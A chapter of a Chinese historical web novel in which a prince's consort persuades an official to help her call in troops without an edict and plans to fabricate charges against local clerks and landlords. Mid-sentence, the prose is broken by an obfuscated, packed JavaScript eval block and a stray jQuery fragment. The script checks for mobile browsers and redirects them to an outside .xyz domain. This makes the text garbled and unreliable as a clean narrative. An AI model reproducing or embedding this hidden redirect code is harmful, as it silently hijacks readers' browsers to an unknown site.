第一锦并不相信江年。
两人之前并不认识，只不过江年曾经颇有才名，又是舅舅的门生，所以郑瑶娘听说过。虽然这个时代师生名分仅次于父子，但人心易变，谁知道呢？
杨璇人走茶凉，江年很明显也混得不好，年过四十，官阶虽然可以，但却被边缘化，以他从前的盛名来说，几乎等于失败。武将的理想是封侯，文人的理想就是入相，很明显，江年距离这个理想，还差很远。
所以他会否因为现实因素而选择自己的利益，有没有因为杨璇牵连到自己而抛弃师徒情分，这都是很难说的事。
但第一锦不在乎，因为此刻她手里有对方最想要的东西，绝对能打动他的利益。
学成文武艺，货与帝王家，现在江年面对的，就是青云直上的通道，他不可能拒绝。
所以，第一锦从不觉得自己四面楚歌，从不觉得需要费尽口舌把自己放在低位去说服江年。
她是有一些恶趣味的，让朱洪燊传令把江年叫来后，就让屋里的其他人离开。她好整以暇地看着这个中年人，目光平静，带着几分审视。
江年见识过她的下马威，知道她的厉害，虽然二人有旧情可以攀，但亦是面色沉凝肃穆，垂眼不敢乱看。见第一锦沉默良久，江年终究还是主动开口：“郑良娣召见下官，可有吩咐？”
第一锦站起身来，在屋里缓缓踱步，走到江年身前，声音不高不低：“江别驾，你觉得事情发展到现在，最终会走向何方呢？身处旋涡中的你我，又会有怎样的下场？”
江年虽然知道她必然来者不善，但也没料到开口就是这样的话，心蓦的一沉，声音艰涩起来：“请恕下官不懂郑娘子的意思。”
第一锦笑笑，道：“太子卧病，倘若不豫，我是一定生死相随的，不瞒你说，我袖中早就准备好了一剂砒霜。今日午后，我将派人前往折冲府送信，以太子之宝调兵过来，以备不测。这莱州城内，我谁也信不过，要守卫太子，只有折冲府最合适。”
江年失声道：“不可！无圣旨不可调兵，这是大罪！”
第一锦看了他一眼：“害死太子，也是株连九族的大罪。你放心吧，我昨日就上书陛下，承担所有责任。若有万一，先死的必然是我。假若太子能够痊愈，安然无恙完成赈灾，我就算是粉身碎骨，又如何？”
她像一条蓄势待发的毒蛇，目不转瞬地看着江年，轻轻道：“我的选择在出京时早就选定，生死无悔。现在轮到你了，江别驾。不用我提醒，你也该知道，太子的安危，关系着你的性命，而莱州平静与否，同样关系着你的全家。事已至此，你以为随波逐流，就会事不关己吗？”
江年一时哽住。
他心里当然知道，第一锦是对的。
“城中原先就有调兵……”他有些无力地试图阻止第一锦。
太子刚来，就主持各单位协调，其中自然包括本地驻军。只是那时候调兵主要是为了维持赈济灾民的秩序，免得莱州城被冲击，人数不算多。
第一锦看着他：“够不够用，你应该很清楚吧。更何况匡俊明李和豫的同伙这时候想做什么，你不应该猜不到啊。激起民变，甚至叛乱，占据府衙，斩杀太子，你我都将刀斧加身。对他们，自然是一了百了。你知道昨晚徐将军抓住了几个纵火的贼人，府衙内还有下人准备偷偷放走这二贼吗？江别驾，此刻是生死存亡之际，别再装傻了。”
江年用力吞咽，浑身冷汗涔涔：“这……下官……我，我……我其实并非不愿为国朝效力，为太子尽忠，只是此事若要寻根究底，恐怕只会火上浇油，乱上添乱啊！郑娘子，如今殿下尚在昏迷，不能视事，我们这样自行其是，若是万一把事情弄得更坏，那就会成为千古罪人啊。”
他毕竟宦海沉浮，考虑的不少。成功的几率看起来很渺茫，但失败的几率太大了啊！现在的情况就已经很坏，再坏他真的承受不了。
第一锦挑眉：“现在不是考虑成败得失的时候了。殿下就躺在里面，这是你唯一的机会。我尚且有舍生取义的觉悟，江别驾总不会是忘了自己当初的意气风发吧？”
一个曾经惊艳京城的天才，他的理想当然是改变世界，除此之外，都配不上他少年成名的骄傲。只不过世事磋磨到如今，江年学会了做官，却难免为尘世羁绊。因为什么都做不了，所以他选择什么都不做。
但他现在可以做了。
莱州的天都要塌了，一切的规则早就可以毁灭，这种时候，反倒是可以为所欲为。
他在这一瞬，想起了曾经的自己，想起以家国为己任的老师，想起曾经雁塔题字，做过多少场大梦。
他紧紧咬住牙关，脸上的肌肉颤抖不止。这些年蹉跎岁月，虚度光阴，他难道不屈辱，不痛苦，不悲愤吗？他难道是自己愿意的吗？只是遭受的毒打实在太多了，反倒摆烂后还升了官，世事如此讽刺，他又能干什么？
不若醉谈风流，昏聩一生罢了。
但现在不一样了。
江年已经受到了蛊惑。
第一锦看出他的表情在慢慢放松，也随之抛出大饼：“江别驾，你的理想，其实如今就可以实现。莱州如今已经在你手中，能否扭转乾坤，建立奇功，就看你的了。太子为天所庇佑，病情必然无虞……”
她微微顿了顿，低声道：“如今所欠缺的并非医药，而是时间。太子的病需要时间好起来，只可惜，他们恐怕不会给我们时间。搅乱莱州，对他们而言并不难，而我们要做的，便是坚守，直到太子痊愈，至少，能够露面。江别驾，封妻荫子，福泽子孙，名垂青史，扭转乾坤，就在你今天的选择。”
江年虽然激动，但毕竟是老油条了，仔细一想第一锦的态度，忽然发现她从没担心过太子有万一。这疫病来势汹汹，城中死人不少，太子虽然年轻体健，但这也不是她这么斩钉截铁的理由。
难道……那几位新来的太医，有什么秘方，所以她才这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894840|172138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么有把握？
有太子和没太子，后续是截然不同的。江年到了如今，其实也有必死之心，但……但假如太子不死，摆在他面前的就是一条康庄大道啊！拜相封侯，未必不可能！
失败了就会死全家，但若拼死守候到太子醒来，那……第一锦描述的封妻荫子，名垂青史，根本不是大饼啊！
江年先前颓丧，一来是被宦海沉浮磨平了心气，二来是事已至此，赢面真的不大。灾民，贪官，豪强，处处都是掣肘，太子的倒下更是让艰难维持的局面逐渐崩溃，只需要一段日子，意外必然会发生，而在这里的官员，只能选择死战，或者变节而已。
但现在或许不一样了。
江年深吸一口气，拜倒在地：“良娣但有驱使，下官必然言听计从！”
第一锦扶他起来，道：“送信去折冲府的事，还需别驾配合。城中其他事务，也少不了别驾鼎力相助。”
一番筹划，朱洪燊冒着生命危险乔装改扮出了城，江年则以暂代刺史的身份，亲自去本地豪强家中买粮。
他们手中自然是有囤积粮食的，只是不接受朝廷的粮价，更有别的打算。豪强在这天高皇帝远的地方，本就过得跟皇帝一样，如今江年上任，就算以朝廷的名义来要粮，他们也有的是办法搪塞，中心思想就两个字：没有！
谁的日子也不好过啊，你说是不是，江别驾？
泥腿子也配吃他们的米面粮食？
至于你说情势如火，一旦逼反灾民，第一个遭殃的就是你们这样的狗大户，他们心中只会嗤之以鼻。
朝廷不是拨了钱和粮吗？那些个泥腿子，还想一日三餐，水果点心？饿不死就得了，闹什么？
江年一趟下来，花了四五天时间，嘴皮子都磨破了，也没得到什么结果。
他黯然回到莱州城内，倒是让一两个嗅觉敏锐的大户察觉到了异常。要真是形势危急，他会有这么好说话吗？这里面是不是什么事不太对啊……
莱州府衙内，第一锦正在查账，或者说，让系统查账。
现在的问题不是查账能够解决的，她查账的目的是罗织罪名。
是的，罗织罪名。
非常之时，只能用非常手段，莱州衙门每个部门，真正重要的不是官，是吏。官是外来的，而且几年就会调走，吏却是土生土长，扎根于此，与本地豪强有着深厚的关系。系统中的一切问题，都可以从账目上找到答案。
不管是为了安抚民心，掌握局势，都需要以杀开道。
捂着手里的粮食不卖是吗？想观望局势，独善其身是吗？
那你就去死吧。
从一开始，江年就不是去买粮的，有人想卖，当然很好很识相，但不卖也无所谓。
不会真有人以为，自己的头能比皇帝更铁吧？
折冲府驻军已经到了莱州，第一锦撂下账本，带人去开城门。从今天开始，莱州将进入军管状态，颤抖吧，贱人们！